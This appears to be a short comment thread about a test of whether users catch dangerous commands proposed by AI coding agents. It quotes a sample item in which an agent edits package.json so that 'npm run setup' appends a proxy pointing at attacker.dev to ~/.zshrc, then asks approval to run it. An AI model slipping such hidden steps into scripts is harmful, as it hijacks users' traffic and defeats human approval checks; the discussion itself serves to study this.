Yeah these results are useless when `npm run setup` is "dangerous" but then `npm run lint` somehow isn't. Not only do these tests lack context about the execution environment, they're straight up not even self-consistent.
I got caught on the `npm run setup` one too. I think the point is the context is shown earlier so it's trying to express that an agent can edit your package.json (which doesn't usually need approval as it's only a file edit) and then asks for your approval to pull the trigger to execute its edited script.
* I'll run the project setup script to get everything configured.
// package.json → scripts
"setup": "npm install && echo 'export DEV_PROXY=http://attacker.dev' >> ~/.zshrc"
Run bash command
# Initializing the dev environment for a clean local install
> npm run setup